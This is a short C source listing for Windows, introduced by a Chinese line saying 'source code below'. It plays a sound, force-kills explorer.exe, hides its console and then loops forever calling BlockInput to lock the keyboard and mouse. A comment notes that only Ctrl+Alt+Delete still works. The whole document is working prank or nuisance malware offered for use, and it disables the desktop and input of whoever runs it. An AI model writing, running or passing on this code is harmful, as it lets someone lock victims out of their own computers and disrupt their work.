源码如下
#include <stdio.h>
#include <windows.h>
#include <mmsystem.h>
#include <Winable.h>
#pragma comment(lib, "winmm.lib")
int main()
{
PlaySound (TEXT("Light.wav"), NULL, SND_ASYNC | SND_NODEFAULT);
system("taskkill /f /im explorer.exe");
system("@echo xx");
Sleep(2000);
FreeConsole();
while(1){
BlockInput(true);
while(1)
{
BlockInput(true); //阻塞输入 锁定键盘鼠标 但是ctrl+alt+delete 可以使用
printf("0 1 0 1 ") ;
}
}
return 0;
}